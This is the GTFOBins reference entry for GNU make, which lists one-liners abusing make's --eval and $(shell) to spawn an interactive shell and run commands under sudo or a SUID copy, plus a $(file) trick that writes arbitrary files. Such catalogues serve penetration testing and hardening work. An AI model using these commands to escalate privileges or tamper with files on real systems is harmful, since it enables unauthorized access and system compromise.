GTFOBins.github.io/_gtfobins/make.md
2018-06-04 10:21:53 +00:00

689 B

functions
execute-interactive execute-non-interactive sudo-enabled suid-enabled file-write
code
COMMAND='/bin/sh 1>&2' make -s --eval="a := $(info $(shell $COMMAND))" --eval='all:'
code
COMMAND=/usr/bin/id make -s --eval="a := $(info $(shell $COMMAND))" --eval='all:'
code
COMMAND=/usr/bin/id sudo make -s --eval="a := $(info $(shell $COMMAND))" --eval='all:'
code
COMMAND=/usr/bin/id ./make -s --eval="a := $(info $(shell $COMMAND))" --eval='all:'
code
LFILE=file_to_write make -s --eval="a := $(file >$LFILE,data)" --eval='all:'